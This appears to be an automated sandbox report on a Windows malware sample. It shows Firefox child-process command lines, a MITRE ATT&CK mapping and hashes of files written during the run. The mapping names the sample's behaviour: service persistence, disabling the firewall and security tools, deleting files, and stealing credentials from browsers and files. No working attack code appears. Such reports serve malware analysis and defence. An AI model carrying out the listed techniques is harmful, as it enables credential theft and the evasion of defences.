C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5760 -prefsLen 34446 -prefMapHandle 5764 -prefMapSize 268500 -jsInitHandle 5768 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5776 -initialChannelId {0f474081-f669-4d96-9ff8-c932918c4a57} -parentPid 1340 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1340" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab4⤵
- Checks processor information in registry
PID:6524
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 6140 -prefsLen 34446 -prefMapHandle 6116 -prefMapSize 268500 -jsInitHandle 6148 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 6156 -initialChannelId {ae479e4c-6861-4e1c-9aaf-4216de7ee4a7} -parentPid 1340 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1340" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 10 tab4⤵
- Checks processor information in registry
PID:6544
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4928 -prefsLen 36665 -prefMapHandle 4912 -prefMapSize 268500 -jsInitHandle 4924 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4908 -initialChannelId {a58c3673-890c-4bb6-a4ad-679ae83ed252} -parentPid 1340 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1340" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 11 tab4⤵
- Checks processor information in registry
PID:4716
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 7036 -prefsLen 34729 -prefMapHandle 7016 -prefMapSize 268500 -jsInitHandle 6592 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 7052 -initialChannelId {480ed618-cc81-4d2f-a7c8-7f6b3c6da590} -parentPid 1340 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1340" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 12 tab4⤵
- Checks processor information in registry
PID:7056
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 1 -prefsHandle 7276 -prefsLen 36784 -prefMapHandle 7280 -prefMapSize 268500 -ipcHandle 6592 -initialChannelId {8c3235f6-776e-44b8-8212-eba60732c098} -parentPid 1340 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1340" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 13 utility4⤵
- Checks processor information in registry
PID:780
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 7432 -prefsLen 34729 -prefMapHandle 7416 -prefMapSize 268500 -jsInitHandle 7508 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 7516 -initialChannelId {8891dfd5-a0fb-47e0-a5da-8846b5c49f84} -parentPid 1340 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1340" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 14 tab4⤵
- Checks processor information in registry
PID:6280
-
-
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2Windows Command Shell
1Windows Management Instrumentation
1Persistence
Create or Modify System Process
3Windows Service
3Event Triggered Execution
1Netsh Helper DLL
1Privilege Escalation
Create or Modify System Process
3Windows Service
3Event Triggered Execution
1Netsh Helper DLL
1Defense Evasion
Direct Volume Access
1Hide Artifacts
1Hidden Files and Directories
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
2Indicator Removal
3File Deletion
3Modify Registry
2Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\308046B0AF4A39CB\update-config.json
- Size 102B
- SHA256 ffad3b0fb11fc38ea243bf3f73e27a6034860709b39bf251ef3eca53d4c3afda
- MD5 7d1d7e1db5d8d862de24415d9ec9aca4
- SHA1 f4cdc5511c299005e775dc602e611b9c67a97c78
- SHA512 1688c6725a3607c7b80dfcd6a8bea787f31c21e3368b31cb84635b727675f426b969899a378bd960bd3f27866023163b5460e7c681ae1fcb62f7829b03456477
- TLSH T12BB012800100B658F0FC4CCC05303B3E0248402D44CF3903004D30A0787B0020A094FE
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\d8000kyi.default-release\cache2\entries\AABAB860D2646FDCEACF8AAC0CD412654CE5E4C0
- Size 16KB
- SHA256 78d2a17feb3c48645227e0eaa80d16bc7660f2cc17bc82a22551f9c2edc82bbe
- MD5 8e0d300293bacf9db052633bba64f7c8
- SHA1 e38aaeefe68c48b47b372a7222aaa994940308dc
- SHA512 7d1d8d5a1ee305362c476be96aa5449b96e3fcd63a7410faca599aaa0bcf4650e8f8cb57da19dfab61988faed870e09a3a8dc79cd11df4bbf4b226807a49e46a
- SSDEEP 384:HalwSiO024YmWTT78XJWTT78gB7SOEAd9KVRaAcP+AWRMA3L+vS+U:6l8ZYmWTToXJWTTogB7S/AmVAf+hRM2P
- TLSH T147728D7D8F413CAC275790E8C8BA43598D1CB3A7DFB5C06D16983E09C984A1A71F985E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\d8000kyi.default-release\settings\main\ms-language-packs\browser\newtab\asrouter.ftl
- Size 15KB
- SHA256 7f32769d6bb4e875f58ceb9e2fbfdc9bd6b82397eca7a4c5230b0786e68f1798
- MD5 96c542dec016d9ec1ecc4dddfcbaac66
- SHA1 6199f7648bb744efa58acf7b96fee85d938389e4
- SHA512 cda2f159c3565bc636e0523c893b293109de2717142871b1ec78f335c12bad96fc3f62bcf56a1a88abdeed2ac3f3e5e9a008b45e24d713e13c23103acc15e658
- SSDEEP 192:63/CCBmqCIKJumwOGmnOq6b4b9C4GoTlbo2ofF9/cFnSPhxtj3tCiwwau13151iS:OuPngEG1xNUIzFnieWrc
- TLSH T1D162E8CEF48193585D6F920AEDC5B391FB27008C56693C6671AF608873B9529C03EBD9
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\d8000kyi.default-release\startupCache\webext.sc.lz4
- Size 105KB
- SHA256 374037669238504f66124e64f5b1f9576a33848cde9bc7fa16980ead4e2c1c0f
- MD5 44d4099490f2f3222987d18f704f3ee3
- SHA1 e78f9e8bf85da0a00ccf35b76828ffc3115f9c03
- SHA512 43a5b0ac8d2d8c0521e06056e327d1a0fb8cb0321512f169a6c6c4b9efa6a547305204646d41d3cfa33708bc74f54d2d85bdbfa7cfbef7f07a96684461c755c3
- SSDEEP 3072:B3lYIviDSls94/UofkpEpIdri3x2tmyrU5:zNvilC/Ukk2+dri3QtDY5
- TLSH T184B39EF6DFA2897C65FFD429ABC2843EFD263804B3672409CD63271462C6F745679248
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\Microsoft\Internet Explorer\DOMStore\CSGVFQ2Q\microsoft.windows[1].xml
- Size 97B
- SHA256 3635e4d17c2ca84879e80a593af445337b42084b070ae6ff2770c3873cd6dff0
- MD5 121cbe4f758b8c55f668f9233a2bc77f
- SHA1 8c306048a8083f9aa2fcabc164840853dc70ae45
- SHA512 448bcadf7e7b13fe2c8ed8c043ad86801691255313ad8181ae6e08362a4ad8a732721deaedda1d4515fa0a50d9c2521c64482a8bfae8e42b101024c883144321
- TLSH T13BB0121136C64C6C07508FF62E1970D071ED0083620778B938E8FC11B889D06D012CB0
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\AppIconCache\100\MSEdge
- Size 36KB
- SHA256 136808af50ee73df9befd76f7aca21765782565b0095227c5a287f3be0b5ef3c
- MD5 bad093419be1135cfe9694ea77088c78
- SHA1 76204c7ca72cf666add9c9931389d635c82e8af0
- SHA512 3b5cb7f80d7cbc557b5a32a995cd607257ac8e56af935ce6f64c54ba1f311a65ef00c69c69047b6eb7bb678c2b1bc0a3c37548aef417ea49e414e1a34bcf651d
- SSDEEP 48:jDlmj1hraax2DvfG+ohTrNAg4eBDAudJ4hKO2I7dQOggBYiiqD1yB72G6nBRz9iz:jDlU1hUol9onbdaa/aarIkb
- TLSH T172F2D25DEB27BCE8E92E53F8757158273F56D543A4FD69AD00A762221C3824210ABCCF
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\AppIconCache\100\Microsoft_AutoGenerated_{2F519BF2-C697-59F8-8F6A-1E19509CE66B}
- Size 36KB
- SHA256 813c66ce7dec4cff9c55fb6f809eab909421e37f69ff30e4acaa502365a32bd1
- MD5 8aaad0f4eb7d3c65f81c6e6b496ba889
- SHA1 231237a501b9433c292991e4ec200b25c1589050
- SHA512 1a83ce732dc47853bf6e8f4249054f41b0dea8505cda73433b37dfa16114f27bfed3b4b3ba580aa9d53c3dcc8d48bf571a45f7c0468e6a0f2a227a7e59e17d62
- SSDEEP 768:XmmmmmmmmmmmmmmmmmmmmmydiXjPJdKQ7ai3ZigbmY9//JD9UZ99tS0FVGn4YEbR:fig1Z
- TLSH T1B7F2DF61F616A589F74B58B159ACCCA080D63C7D8EF0051CF2EBB71E42B336205A9E5A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\AppIconCache\100\{1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}_comexp_msc
- Size 36KB
- SHA256 fdf01d2265452465fcbed01f1fdd994d8cbb41a40bbb1988166604c5450ead47
- MD5 eab75a01498a0489b0c35e8b7d0036e5
- SHA1 fd80fe2630e0443d1a1cef2bdb21257f3a162f86
- SHA512 2ec6c4f34dcf00b6588b536f15e3fe4d98a0b663c8d2a2df06aa7cface88e072e2c2b1b9aaf4dc5a17b29023a85297f1a007ff60b5d6d0c65d1546bf0e12dd45
- SSDEEP 384:wPa3Nt+jJBEiqnYcnXYGiExSUGrEoikM2vVetvNSvnazbqJ:taJmiqFnXH+UGYoikR4ayzbq
- TLSH T1F1F2AE777B8D0C8AE7202DB8AC16416EE114DEFA845D7927248CFD5E27E64EF2900DB1
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{8d1159e2-08ae-4531-9653-8bac6875b92a}\0.1.filtertrie.intermediate.txt
- Size 5B
- SHA256 8e1e6a3d56796a245d0c7b0849548932fee803bbdb03f6e289495830e017f14c
- MD5 34bd1dfb9f72cf4f86e6df6da0a9e49a
- SHA1 5f96d66f33c81c0b10df2128d3860e3cb7e89563
- SHA512 e3787de7c4bc70ca62234d9a4cdc6bd665bffa66debe3851ee3e8e49e7498b9f1cbc01294bf5e9f75de13fb78d05879e82fa4b89ee45623fe5bf7ac7e48eda96
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{8d1159e2-08ae-4531-9653-8bac6875b92a}\0.2.filtertrie.intermediate.txt
- Size 5B
- SHA256 d65b6a3bf11a27a1ced1f7e98082246e40cf01289fd47fe4a5ed46c221f2f73f
- MD5 c204e9faaf8565ad333828beff2d786e
- SHA1 7d23864f5e2a12c1a5f93b555d2d3e7c8f78eec1
- SHA512 e72f4f79a4ae2e5e40a41b322bc0408a6dec282f90e01e0a8aaedf9fb9d6f04a60f45a844595727539c1643328e9c1b989b90785271cc30a6550bbda6b1909f8
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache134352540983930105.txt
- Size 86KB
- SHA256 06eb381b67d6b30895b5f67244563748db019af21423749adcfa9e5735085b59
- MD5 e9a7f02361b7fa5e4eb41c530393f329
- SHA1 eccc467d074c1132cb1960774d92c28630725f40
- SHA512 ffcac2712a502245f0f33da25131162f46ea496c187fd84f6276074fca2c1444369c33aba4768e1719fe57838585e0a5922da2aa1e0cabf299adc248895709ad
- SSDEEP 384:i/v8/n5U/ymL/aNU/gT2/Hl/M1/h8r/hJ/Zk/Ey/eX/MA/NV/CzS/1o/Yd/er/iH:vYGzozuir1D
- TLSH T16483B4A53281CBF3317966A0BCD9E435E13926B1E0A88F4561FA9617FC5ADCC62313D3
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\SettingsCache.txt
- Size 670KB
- SHA256 4aa1fa29fd0a2d15b9204426cfee2e348dcf65f5b444b53fc5425a0418a3fdcd
- MD5 9eb5f69e443e7d835e78519e5f3b3ef4
- SHA1 5ba40cd4a127359dbd006eb3b0f800809c138659
- SHA512 b14fd14a1ac0aa59e0b648b64af0fa4848a4601124fe8b37d0c3f7e4066908237eb1c9d01a43aa45444db104c68380a60e1e1625d1f4eda5d501a3c33206cf4f
- SSDEEP 6144:IWm9IqO3DNrR+0mAHv5vDn64xls+FpuMOCc5MpzgroTDL7keecgiTXK:l3rPn64NuMOCc5MpzgroTDL1K
- TLSH T1E5E42E2A32A4D9DE4535A9B1F1C9F301E5BCA29180A2DE35F5E0E406ED9F0CC93B1797
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\IDX_CONTENT_TASKBARHEADLINES.json
- Size 318KB
- SHA256 6280402a9fa48a53bab1f8fa7048cec5de3f7f9e6c6df095b2a33d2452f747cd
- MD5 263741afcbe86ee6549c352b06ca29e6
- SHA1 c624f7bfeeee2e8ffd232c73a6fa9cc444f1acb7
- SHA512 fbd4033d77bed1b343c274a38f0fa0f0cdee8f80d1daefd97e0e58fc36370e2b042159768066d9b6a36f41d536668e68c97a21c94bf174f196c4ce042bdd7a1e
- SSDEEP 1536:nM6QY1YaB4CI9Von6QNrVLcFn8L94zhn6QNroclemMTBjB0JWysURJv0zDzpm5Qx:ntBSaeJ9FW97OLPvZ9aTP
- TLSH T10C642B236218E4B7CB866ACECC3F7F375196610A59D5DC58E79CCE088DA80BC27693C5
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\TempState\CortanaUnifiedTileModelCache.dat
- Size 19KB
- SHA256 5126824c7ba7a355e30b30464929bfc066a0178b32ad6fa18a69dcd9a6f0fbda
- MD5 3945c5c0ed9f42fd63b4f38f70e1364a
- SHA1 3727f642fe830951289f72389d6b839663ceded8
- SHA512 478a3d8b0a1ed8334271fa6faa4c70b4e1b9924f76c7e353e06d18a9c8dafaa63b99d607d017c3101c6c21c9ece025dae9646907eeced1ac7f9c8280be364e9f
- SSDEEP 384:QJqpJpcz6Y9keka9JBAVmBpefQOVjeQ8RJoWuyRgUcOXP3QJz+i3+/cHW:MapBYy9wKl8RJxuyRgUcBz+i3+/cHW
- TLSH T1DD9229743AF51766F3B29F318AF0995A683AB8729D01DB5E016203890537D92CDB1F3B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\TempState\CortanaUnifiedTileModelCache.dat
- Size 20KB
- SHA256 380d1fa8b10b3f967bdd5e0f36613bc52dc69b9ec4aacd9a5bcb9d1e68bcca1b
- MD5 3aa0e0429179a6b66bfff99e85308845
- SHA1 cf9a2b793e23493969307354e7496f3b4a2aefae
- SHA512 6e642c1536b0fe47d323a0e6eb5fa620c07f289d6bab4a34556aeb688d8aee4f2545385bbe020ddab89d2212bfe255ec481712921a6dd5b37d5dedc6f610e881
- SSDEEP 384:jJqpJpczJY9keRa9JBAVmBpefQOVjeQ8RJo6uyR1zcHXP3QJz+i3+h4c/W:1apiYygwKl8RJduyR1zcQz+i3+h4c/W
- TLSH T172A21A743AF51766F3B29F319AF0996A683AB8629D01DB5E0162038D0537D52CDB0F3B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\remote-settings-startup-bundle-
- Size 558KB
- SHA256 b254bfabd96d4ef4477d89f41c540592a68c4db482545199884421d039244f65
- MD5 35fcd5cbaed785c6db2af09ff4d31805
- SHA1 d515793ea9a978d131d4f14c7debbc90265d3f34
- SHA512 3b12541e9929cc18a2f7998c4527e255957bf4d82efb1d5ca61285518d506bd6fb65b558719e4715762ba01b6490d9cb4a48570981799def04808902779c9c7a
- SSDEEP 12288:wVqYqz2xlbqFEIyvQQuI3bgMBFQsdVVscN+6ws11XbEn1JaiaW4nebVP:w8YqCnGEIyvjuI30Ms0fvN+jsnbSzmjU
- TLSH T1ABC4F1F9F7A13CB7A7BE030B9D966EAE0B524122C74FA0CC447B57C2455372AAF69404
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\tmpaddon
- Size 11KB
- SHA256 ddf3ba4e25a622276755133e0cce5605b83719c7cab3546e09acbfed00d6a986
- MD5 25e8156b7f7ca8dad999ee2b93a32b71
- SHA1 db587e9e9559b433cee57435cb97a83963659430
- SHA512 1211b2fa997ba13ff926aec58b6b35a81d7fe108b0caa8f4d6369d0a37f8481373b78a4b201651243adde9e2b2699ce929482a46226ff6299b0a0e40fe2ddc56
- SSDEEP 192:96jbMOTaRNUB3K7L7KqRUGcW9KK+DOO4L5h3tCw0RZvjUFV3bXFwo10+H99uhNA:kjbMegNp7L7KCopFDUtCZvjU73zqFiu0
- TLSH T12A32AFAB081F8454EFA710F628B670CFA1BA95B4067C2B1E9B1819855809BD0C5D2EDD
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\tmpaddon
- Size 502KB
- SHA256 87862f4bc8559fbe578389a9501dc01c4c585edb4bb03b238493327296d60171
- MD5 e690f995973164fe425f76589b1be2d9
- SHA1 e947c4dad203aab37a003194dddc7980c74fa712
- SHA512 77991110c1d195616e936d27151d02e4d957be6c20a4f3b3511567868b5ddffc6abbfdc668d17672f5d681f12b20237c7905f9b0daaa6d71dcdac4b38f2448b2
- SSDEEP 12288:OACaeJXLVL+PLlSuxcewdMCx1uSremBgBohJmiixAzph3yZeErb:OltBL+PLQFZBgBo2xAzpsrb
- TLSH T199B423CCB77B7628D37A9C7BC257D4F853E9CA2B56423CE80C4E018D6540AB136963E6
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\desktop.ini
- Size 174B
- SHA256 768b6fde6149d9ebbed1e339a72e8cc8c535e5c61d7c82752f7dff50923b7aed
- MD5 17d5d0735deaa1fb4b41a7c406763c0a
- SHA1 584e4be752bb0f1f01e1088000fdb80f88c6cae0
- SHA512 a521e578903f33f9f4c3ebb51b6baa52c69435cb1f9cb2ce9db315a23d53345de4a75668096b14af83a867abc79e0afa1b12f719294ebba94da6ad1effc8b0a3
- TLSH T19FC08C2CD2E932204172CD32BCB4A002DBB1F8212C1BCF9E06C0918B08A1E09FB32B43
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini
- Size 174B
- SHA256 8e00a24ae458effe00a55344f7f34189b4594613284745ff7d406856a196c531
- MD5 a2d31a04bc38eeac22fca3e30508ba47
- SHA1 9b7c7a42c831fcd77e77ade6d3d6f033f76893d2
- SHA512 ed8233d515d44f79431bb61a4df7d09f44d33ac09279d4a0028d11319d1f82fc923ebbc6c2d76ca6f48c0a90b6080aa2ea91ff043690cc1e3a15576cf62a39a6
- TLSH T1A6C08028D2E9311041718D32BC749002DBB1F4213C17CF5E16C0518F04A0605E732743
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\d8000kyi.default-release\AlternateServices.bin
- Size 10KB
- SHA256 86326c9d2329ecdb2a487516b887f4b1ba1123a6df16086cb044c235d5e3df69
- MD5 3372ca341b91ea528c8bc477338c6507
- SHA1 c02167143c338e810814bda57dc72f8dc4cbd02f
- SHA512 e6217924b42666a504df7a0acdc4434323bcba81d91350c3fc54b62ae821c0c22dac62ee9c59f4c31976e01e3b6d35099713f3baf0d3de5178160af892648a07
- SSDEEP 48:vqQ7Q5XbH5x/H5dXrH5SBDeYTReRI56oe:vqQ7Q5XbH5x/H5d7H5SBDeeReRI56oe
- TLSH T1472285F72B76B463F0928FB14099759CAC33033566B89180CA45D4F702D5BA991BFBB8
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\d8000kyi.default-release\AlternateServices.bin
- Size 20KB
- SHA256 b543a5f6d76b2dabf27b88b15fa09800cfe3e59a5d51b111ca192e0870e21c10
- MD5 cea0cbc3e2f4f7a9005c3b6e5f03d9bc
- SHA1 01c74db71bb65077546c54bf4ef4ef9339e5d518
- SHA512 4acc962487441e92f78f6c10e6225d1484e15cc2a8dc8f3637bb808b61af3b89b06dcf455be8ecf44e73066576a7ff7d03df9a4b2a64ea32155384661a4a4539
- SSDEEP 96:OJfX/LjXfdBHddAI560jTWM/pHfjz/4yx2aIyuZaKy8tam4L:/Q222XZZHFt
- TLSH T1D29257F73BB56462F4928FB04098B59C9C73032564ACD184C64594EB0391BB5D2BFFB8
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\d8000kyi.default-release\datareporting\glean\db\data.safe.tmp
- Size 6KB
- SHA256 86f225cfa52696c468ca7bcd59511671a786abf115cb73d830f63996970e3cb2
- MD5 3a437ebd4094781f2f392f827e558d68
- SHA1 88ba92a015a709b40f8b8794115c5be2989ac312
- SHA512 a68d7b687bbec7d40e7e69cdcda5085f142ab66e5a38b64c3e88d0af14faeecceba299c3c8a148f994656adf30551dd5b5e1086bf44ea9448bf39d2b290ce158
- SSDEEP 192:m1d66JozGzgCl6mc0dVOv5zboPvbwyjk+:Ad66JozGzgC1jQbo3bwyj
- TLSH T15AE144A4E628867FC408027BDCB50F454F3A398ADC4E3F1931AC645D2D5A2DE369E17E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\d8000kyi.default-release\datareporting\glean\db\data.safe.tmp
- Size 6KB
- SHA256 bcb24c4e5518fd42fadc2bab6a2b9de05b0665aa2f5a2e35d3f20a14ac7e10cb
- MD5 7763e6d88c77e711c23c6550561c6192
- SHA1 42ff8964d856c0f3e6d366d779e9cbfefe30bafa
- SHA512 33464c34d5acdca03195e5ff6fc5da4bc163560b44a70e66f07e5ff89fbce3281d023718c642832fa5bdfe85a4a21ad3dde8fd49d89674264961788286ca0983
- SSDEEP 192:v1d66JozGzgCl6mc0dNOv5zbowbbwyjk+o:9d66JozGzgC1j4bowbbwyjQ
- TLSH T113D121A4EA28863BC448127BDCA50F454F36394ADC4E3F1935AC64492D5A2EE368D1BE
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\d8000kyi.default-release\datareporting\glean\db\data.safe.tmp
- Size 6KB
- SHA256 f7d74979ea2fa8a3f339c2a87474ddd913d6b3c9d09490ab9da7664e8207a529
- MD5 eb0b6b4d77a4889c30e1b32e557fac08
- SHA1 b81892314abf5b72f760fbb4eae53f858f1287c3
- SHA512 883603cc8213f9b6307879b4c5689c60f105560ec5d239ed1cbd4fd94238a6515c2cee69bc3b9d3a53135f2c276511567894e038bdaec396c568ea996629b714
- SSDEEP 192:v1d66JozGzgCl6mc0deOv5zboPiZbwyjk+o:9d66JozGzgC1jrboqZbwyjQ
- TLSH T102E142A4E628867FC008027BDCA50F454F3A398ADC4E3F1935AC645D2D5A2DE369E17E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\d8000kyi.default-release\datareporting\glean\db\data.safe.tmp
- Size 6KB
- SHA256 8e03d108717edb481f5a4f975302e4eb351f8f2a409fc33097dd774746213b61
- MD5 816df14787b528258eaaf21164c82097
- SHA1 66879fb611d368033c7afed81dd123563fad98de
- SHA512 d72ab655dc5172688da2da55361d1034069342278b7e530f772eb90c84415e3644492f165193402c09f33c1daa764e0c1f12626998c1b28338d2a314ed4ededa
- SSDEEP 192:xOv5zboPvbwyjk+N1d66JozGzgCl6mc0dz:ubo3bwyjjd66JozGzgC1jd
- TLSH T161E143A4E629867BC408027BDCA50F454F3A388ADC4E3F1931EC645D2D5B2DE369E17E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\d8000kyi.default-release\datareporting\glean\events\events
- Size 5KB
- SHA256 c383c4a271411b0eacc2a6d7a682bac7ae156e9258638218104967652ffab785
- MD5 76e9baae471d943e081763eaf87ad2d5
- SHA1 13e68add83736df592452dc63e567ed37fce2bae
- SHA512 6b04976a72ff991d85b992ea6550cb6d6555128e47eec801d4598be29d2b526401e84aa81ad21aceab2ca9c0163ebde12609365678df54d412d3ea86d231d9e7
- SSDEEP 48:YRb/MvO4Ofzfn9NbjzQX+5Ns0AnbFAKNzZ4GZCHzhqjMozqi/dzkWkWLGHqHZv43:3yQ00aHUjD1nk6HZv48d+dOEXHMm
- TLSH T17EC1211D37B94C7A5DC7E39CB88182CE83A94607A0872D832D96DF89CC85A95325E87C
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\d8000kyi.default-release\datareporting\glean\events\events
- Size 2KB
- SHA256 6facfcec0d00c92ef77d6611b80307f888160843047f64211126f152eccde875
- MD5 1d4657a577bfb207d055ac4e2f30f43f
- SHA1 e0090a1c6f53fe88f8355c8034ac6a57b1034b2a
- SHA512 3b86a8881e23acf49e2f66d31921182a171707a3bd2fc41076d70358fff67db1d675f040e16a1305ce29c9b2515bac1974744999e89aba35c3731400fd328981
- TLSH T19B51AF1C3BB58D699CC7F2AC64C0838A93A58A4765562D432D61EFCDCC816D6326A87C
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\d8000kyi.default-release\datareporting\glean\pending_pings\3fdfe013-f68a-46d6-9d7a-173a8b967987
- Size 235B
- SHA256 be52c67447e5334612ab9f0e30ae8c91dddcc7001883708c7a6954938133f4db
- MD5 e77ba07eeca5b29b78216d23fad21f3a
- SHA1 5907a370b8a77094f69247fc01e3114d1802ade7
- SHA512 faeaa848c072eeda410bd87eeff0237a7a06f8a65032b5a0795f9e9c230545a40be1489a279b7d478ccf32c987343c87ca98b360a5c75e6019c131364fe62090
- TLSH T1D0D097C0289C33AC08205F03B0A0BDC730888C3328605C90D961453499FAAC582A280B
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\d8000kyi.default-release\datareporting\glean\pending_pings\a13ae1b4-3c05-4442-9418-215c53247fd1
- Size 796B
- SHA256 71d96abe6183b24913be8151255a0eb27e14372eb656d40d5d05479a393a8566
- MD5 6ed8f80b9d715d0f57c23af3f96ae4d3
- SHA1 390b1057928eb2969b9cceac707d0b5fe4d7bc71
- SHA512 97f2f976ae084282f7687c780168599365e5ab93ec969eb62a516e8539f849b571448809d09e49501e0acf33662c2667971a8b4a69e28fde8c286928f927d323
- TLSH T1FC01CE90562674B28C3CA38AC8A13B4A87A4A027C0CB5D147EB55A144E7D01F9769A0B
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\d8000kyi.default-release\extensions.json
- Size 14KB
- SHA256 7fa19eb094c4317fc39b37fe0737b3a0302824f30268bc633c6a935275951222
- MD5 d78d3ead990897cd8fb774e4f702b165
- SHA1 b88ecafcd30a05fbf56342a17708819989e0f3d0
- SHA512 08d81e09ab1e7bbc3324849b948b38b95916497712d9f38b1fc189967365786ffbeaa34d60dcfa804cb29dadf4be5e98671470ada4b7d104e90fae304dfcb3a0
- SSDEEP 384:ZkI4vPUmldvH8dhWI94zF96oXL4HzL4PAL4HaL4HtL4HC:6I4HRf0XZ4P6I4f4K4I4N4i
- TLSH T16662421545148EB8298F979BAA367E01C37D433B60445C78F4DD8FC842FA5B902FB66B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\d8000kyi.default-release\gmp-gmpopenh264\2.6.0\gmpopenh264.dll
- Size 1.1MB
- SHA256 37c005a7789747b412d6c0a6a4c30d15732da3d857b4f94b744be1a67231b651
- MD5 626073e8dcf656ac4130e3283c51cbba
- SHA1 7e3197e5792e34a67bfef9727ce1dd7dc151284c
